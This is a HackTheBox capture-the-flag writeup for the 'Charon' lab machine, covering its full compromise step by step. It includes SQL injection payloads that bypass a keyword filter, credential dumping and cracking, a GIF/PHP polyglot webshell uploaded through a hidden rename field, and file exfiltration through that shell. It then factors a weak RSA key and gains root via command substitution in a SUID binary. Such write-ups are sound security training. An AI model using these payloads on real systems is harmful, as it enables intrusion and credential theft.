HTB: Charon Writeup
Charon - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Charon |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.44.29 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐☆☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐⭐
Summary
Charon exposes only SSH and a single Apache vhost running a heavily modified CMS (“SuperCMS”). The only way in is a hand-filtered SQL injection in the password-reset flow (cmsdata/forgot.php), which requires bypassing a case-sensitive keyword blacklist and satisfying an “output must look like an email” constraint before it will leak anything. The dumped admin hash cracks only with rule-mangled wordlists, and the CMS’s image upload form hides a base64-encoded field name that lets an attacker rename the uploaded file — the classic bypass to plant a PHP webshell disguised as a GIF. From there, a weak 256-bit RSA key protecting a second user’s password can be factored trivially via FactorDB, and the final root path abuses a SUID binary that whitelists its argument prefix but forgets to blacklist shell command substitution.
TL;DR: forgot.php case-filter/email-format SQLi (uniOn bypass) → dump operators creds → crack admin MD5 (john --rules=All) → CMS login → base64 hidden-field upload rename → GIF-polyglot PHP webshell → RCE as www-data → exfil weak 256-bit RSA key/ciphertext → FactorDB factors n → decrypt password → SSH as decoder (user.txt) → SUID /usr/local/bin/supershell allows $() command substitution → root.txt.
Reconnaissance
Port Scanning
# Full TCP port sweep, service/version detectionnmap -sC -sV -p- --min-rate 3000 -T4 10.129.44.29Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.18 ((Ubuntu))|_http-title: Frozen Yogurt ShopOnly two services. No obvious version-specific CVEs for OpenSSH 7.2p2 or Apache 2.4.18 that apply here — the vulnerable surface is entirely in custom application code, not the stack.
Service Enumeration
The web root (“Frozen Yogurt Shop”) sits on top of a /cmsdata/ path. Directory listing on /cmsdata/ itself is blocked:
curl -s -i http://10.129.44.29/cmsdata/# HTTP/1.1 403 Forbiddenbut individual scripts inside it are directly reachable. cmsdata/forgot.php returns 200 and renders a password-reset form:
<form method="post" action="forgot.php"> <input type="text" name="email" placeholder="email" required="required" /></form>Vulnerability Assessment
cmsdata/forgot.php— single POST parameteremail, backed by a raw SQL query. Prime SQLi candidate.- CMS login (
cmsdata/login.php) exists but requires credentials — the SQLi is the path to get them. - Image upload functionality (
cmsdata/upload.php) reachable post-auth — client-side-only filetype validation.
Initial Foothold
Exploitation Path
1. Baseline the injection point.
curl -s -X POST --data-urlencode "email=a@b.com" \ http://10.129.44.29/cmsdata/forgot.php# <h2> User not found with that email!A normal, non-existent email returns a clean “not found” message — confirming the parameter reaches the database and errors are visible in the response.
2. Discover and bypass the filter.
The application blacklists SQL keywords, but the check is case-sensitive: union/UNION are blocked, uniOn is not. On top of that, the endpoint enforces two extra constraints that aren’t obvious from a plain UNION test:
- the submitted
emailvalue must itself pass a valid-email-format check, and - whatever the query returns must also look like an email address (the app appends it to
Email sent to: X), so every extracted value has to be wrapped inconcat(col, "@example.com").
# Confirm database() extraction works once wrapped as an email-shaped stringcurl -s -X POST --data-urlencode \ 'email=a@b.c'"'"' uniOn select 1,2,3,concat(database(),"@example.com") -- -' \ http://10.129.44.29/cmsdata/forgot.php# <h2> Email sent to: supercms@example.com=>2Database name confirmed: supercms.
3. Enumerate the real column names.
Public references for this CMS assume single-underscore column names (_username_/_password_), but this instance’s schema differs — enumerating information_schema.columns directly (rather than trusting assumed names) was required:
# table_name=0x6f70657261746f7273 is hex for 'operators' — avoids quoting issuesfor lim in 0 1 2 3 4 5; docurl -s -X POST --data-urlencode \ "email=a@b.c' uniOn select 1,2,3,concat(column_name,\"@example.com\") FROM information_schema.columns WHERE table_name=0x6f70657261746f7273 limit $lim,1 -- -" \ http://10.129.44.29/cmsdata/forgot.php | grep -iE "Email sent"done=== col 0 === id@example.com=== col 1 === __username_@example.com=== col 2 === __password_@example.com=== col 3 === email@example.comThe real columns carry a double leading underscore (__username_, __password_) — one underscore off from what a generic writeup would assume, confirming these values had to be discovered live rather than copied.
4. Dump credentials.
curl -s -X POST --data-urlencode \ 'email=a@b.c'"'"' uniOn select 1,2,3,concat(__username_,"@example.com") FROM supercms.operators limit 0,1 -- -' \ http://10.129.44.29/cmsdata/forgot.php# decoder@example.com
curl -s -X POST --data-urlencode \ 'email=a@b.c'"'"' uniOn select 1,2,3,concat(__password_,"@example.com") FROM supercms.operators limit 0,1 -- -' \ http://10.129.44.29/cmsdata/forgot.php# <redacted>@example.comTwo operators with password hashes came back: decoder and super_cms_adm.
5. Crack the admin hash.
echo "<redacted>" > /dev/shm/h.txt# Plain rockyou pass misses it — needs mangling rulesjohn --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt --rules=All /dev/shm/h.txtjohn --format=raw-md5 --show /dev/shm/h.txt# ?:tamarrosuper_cms_adm : tamarro. (The decoder operator hash cracks trivially to the literal word password — MD5 of password is a well-known value — but that CMS-side password is a dead end; the real decoder OS account is reached later via RSA, not this hash.)
6. Log in to the CMS.
curl -s -i -c cj.txt -X POST \ --data-urlencode "user=super_cms_adm" --data-urlencode "pass=tamarro" \ http://10.129.44.29/cmsdata/login.php# HTTP/1.1 302 Found# Location: menu.php7. Find the hidden upload rename field.
menu.php links to upload.php. Viewing its raw HTML (not just the rendered form) reveals a commented-out field:
<input type="file" name="image" /><!-- <input type=hidden name="dGVzdGZpbGUx"> -->echo dGVzdGZpbGUx | base64 -d# testfile1Client-side JS (scripts/my.js) only whitelists .jpg/.gif/.png for the image field — trivially bypassed since validation never happens server-side either. The real trick is the hidden field: submitting testfile1=<name>.php makes the server rename the stored upload to that filename regardless of the checked extension.
8. Build the polyglot and upload it.
# GIF89a; magic header satisfies any image-signature check; PHP payload followsprintf 'GIF89a;\n<?php system($_GET["c"]); ?>\n' > sh.gif
curl -s -b cj.txt \ -F "image=@sh.gif;type=image/gif" \ -F "testfile1=sh.php" \ http://10.129.44.29/cmsdata/upload.php# Success:../images/sh.phpThe relative path in the success message (../images/sh.php) shows the file landed in the web root’s /images/ directory, not under /cmsdata/ — the upload handler writes one directory above the CMS subfolder.
9. Confirm RCE.
curl -s "http://10.129.44.29/images/sh.php?c=id"# uid=33(www-data) gid=33(www-data) groups=33(www-data)Shell as www-data confirmed.
Privilege Escalation
www-data → decoder (user.txt)
Enumerating /home/decoder/ through the webshell turns up an RSA-encrypted secret rather than a plaintext password:
curl -s "http://10.129.44.29/images/sh.php" --data-urlencode "c=ls -la /home/decoder/" -G-rw-r--r-- 1 decoder freeeze 138 Jun 23 2017 decoder.pub-rw-r--r-- 1 decoder freeeze 32 Jun 23 2017 pass.crypt-r-------- 1 decoder freeeze 33 Jul 21 16:05 user.txt# Exfil both files through the webshellcurl -s "http://10.129.44.29/images/sh.php" --data-urlencode "c=cat /home/decoder/decoder.pub" -G > decoder.pubcurl -s "http://10.129.44.29/images/sh.php" --data-urlencode "c=base64 /home/decoder/pass.crypt" -G | base64 -d > pass.crypt-----BEGIN PUBLIC KEY-----MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALxHhYGPVMYmx3vzJbPPAEa10NETXrV3mI9wJizmFJhrAgMBAAE=-----END PUBLIC KEY-----openssl rsa -pubin -in decoder.pub -text -nooutPublic-Key: (256 bit)Modulus: 00:bc:47:85:81:8f:54:c6:26:c7:7b:f3:25:b3:cf: 00:46:b5:d0:d1:13:5e:b5:77:98:8f:70:26:2c:e6: 14:98:6bExponent: 65537 (0x10001)A 256-bit RSA modulus is nowhere near safe — it’s trivially factorable, since general-purpose factoring algorithms (GNFS, Pollard’s rho/ECM) handle numbers this small in well under a second. RsaCtfTool (the standard tool for this) wasn’t installed on the jump box, and local factoring via sympy.factorint hit environment issues (jump box /tmp was 100% full, and a stray /dev/shm/dis.py shadowed Python’s stdlib dis module and broke sympy’s import chain). Rather than fight the environment, the modulus was handed to FactorDB, a public database of pre-factored/factorable numbers:
python3 -c 'print(int("bc4785818f54c626c77bf325b3cf0046b5d0d1135eb577988f70262ce614986b",16))'# 85161183100445121230463008656121855194098040675901982832345153586114585729131curl -s "http://factordb.com/api?query=85161183100445121230463008656121855194098040675901982832345153586114585729131"{"id":1100000000938338779,"status":"FF","factors":[["280651103481631199181053614640888768819",1],["303441468941236417171803802700358403049",1]]}status: FF means fully factored — both primes returned instantly.
# Standard RSA decryption once p and q are knownfrom Crypto.Util.number import inverse, long_to_bytes, bytes_to_long
n = int("bc4785818f54c626c77bf325b3cf0046b5d0d1135eb577988f70262ce614986b", 16)e = 65537p = 280651103481631199181053614640888768819q = 303441468941236417171803802700358403049assert p * q == n
c = bytes_to_long(open("pass.crypt", "rb").read())d = inverse(e, (p - 1) * (q - 1))m = pow(c, d, n)print(long_to_bytes(m))# b'\x02\x11\x96\xa9\x31\xfb\x13\xd4\x36\xba\x00nevermindthebollocks'The leading bytes are PKCS#1 v1.5 padding; stripping them leaves the plaintext password: nevermindthebollocks.
ssh decoder@10.129.44.29# password: nevermindthebollocksid# uid=1001(decoder) gid=1001(freeeze) groups=1001(freeeze)cat /home/decoder/user.txt# <redacted>decoder → root (root.txt)
ls -la /usr/local/bin/supershell# -rwsr-x--- 1 root freeeze 9120 Jun 24 2017 /usr/local/bin/supershellstrings /usr/local/bin/supershellKey strings from the binary:
usage: supershell <cmd>/bin/ls|`&><'"\[]{};#Reverse-engineering the logic from strings alone: the binary takes one argument, requires it to start with /bin/ls, and rejects the argument if it contains any of | ` & > < ' " \ [ ] { } ; #. Critically, that blacklist omits $, (, ), and whitespace — which is exactly what’s needed for shell command substitution. Since the binary is SUID root (owned root:freeeze, setuid bit set) and ultimately shells out via system(), anything inside $() executes with root privileges before the (irrelevant) /bin/ls... prefix ever runs.
supershell "/bin/ls\$(cat /root/root.txt)"sh: 1: /bin/ls<REDACTED_FLAG_CONTENTS>: not foundThe cat /root/root.txt inside $() executes as root first; its output gets substituted directly into the /bin/ls... string, which then fails to execute as a binary — but the substituted flag content is visible in the resulting “not found” error. Verified with $(id) too:
supershell "/bin/ls\$(id)"sh: 1: /bin/lsuid=0(root): not founduid=0(root) confirms the substitution ran with root privileges. Both flags recovered:
supershell "/bin/ls\$(cat /root/root.txt) \$(cat /home/decoder/user.txt)"Attack Chain Summary
nmap (22/80 only) → /cmsdata/forgot.php SQLi (case filter bypass "uniOn" + email-shaped output constraint) → information_schema enumeration (double-underscore column names: __username_/__password_) → dump operators table (decoder, super_cms_adm) → crack super_cms_adm MD5 with john --rules=All → "tamarro" → CMS login (cmsdata/login.php) → upload.php: base64-hidden field "testfile1" renames upload → GIF89a; polyglot + PHP payload → /images/sh.php → RCE as www-data → exfil /home/decoder/{decoder.pub,pass.crypt} (256-bit RSA) → FactorDB factors n → decrypt pass.crypt → "nevermindthebollocks" → SSH as decoder → user.txt → SUID /usr/local/bin/supershell: whitelists "/bin/ls" prefix, blacklist misses $() → supershell '/bin/ls$(cat /root/root.txt)' → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning |
curl | Manual SQLi payload delivery, CMS auth, upload, webshell interaction |
john (John the Ripper) | Cracking the super_cms_adm MD5 hash (--rules=All) |
openssl | Inspecting the RSA public key (modulus/exponent) |
FactorDB (factordb.com API) | Factoring the weak 256-bit RSA modulus |
pycryptodome (Python) | Manual RSA decryption once p/q were known |
sshpass / ssh | Authenticating as decoder with the recovered password |
strings | Reverse-engineering the SUID supershell binary’s argument whitelist/blacklist |
Key Learnings
Techniques Practiced
- Bypassing case-sensitive SQL keyword blacklists (
uniOnvsUNION) - SQLi output-shape constraints — forcing every extracted value through
concat(col, "@example.com")to survive an email-format check on the response - Blind schema discovery via
information_schema.columnsinstead of trusting assumed column names - Hash cracking with rule-based mangling (
--rules=All) where plain wordlist attacks fail - Defeating client-side-only file upload validation and hidden-field upload renaming (base64-obfuscated field name)
- GIF/PHP polyglot construction (
GIF89a;magic bytes + embedded PHP) for webshell upload bypass - Factoring an undersized (256-bit) RSA key via FactorDB instead of local computation
- Manual RSA decryption and PKCS#1 v1.5 padding recognition
- Identifying and exploiting a SUID binary’s incomplete argument blacklist via shell command substitution (
$())
Lessons Learned
- A 403 on a directory listing (
/cmsdata/) doesn’t mean the scripts inside are unreachable — individual files can still return 200. - Filter bypass logic often hides in the shape of the expected output, not just the input — this app required responses to look like valid emails, not just inputs.
- Never trust column/table names from a prior writeup or memory of a similar CMS; enumerate
information_schemadirectly, since even a single underscore difference (_password_vs__password_) breaks every subsequent query. - Password cracking should escalate from plain wordlist → rule-mangled wordlist before concluding a hash is uncrackable.
- Client-side JavaScript validation is not a security boundary — always inspect raw HTML/comments for hidden fields that reveal server-side behavior.
- RSA key size matters: 256-bit keys are trivially factorable by public tools like FactorDB, no exotic mathematics required locally.
- SUID whitelist binaries that only check the argument’s literal characters (not properly escaping shell metacharacters) remain exploitable via command substitution even with an extensive-looking blacklist —
$(), backticks, and pipes are not interchangeable, and missing even one is fatal. - When a sandboxed working environment behaves oddly (disk full, stdlib import failures), don’t assume the exploit is wrong — check the environment itself first (stray files shadowing modules, full
/tmp).
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup — Charon, prepared by Alexander Reid (Arrexel), Document No. D17.100.10. Used to confirm the SQLi filter-bypass technique, the base64-hidden upload field mechanism, and the SUID
supershellargument-whitelist bypass concept; all IPs, hashes, passwords, and command output in this writeup come from the actual solve, not the reference document.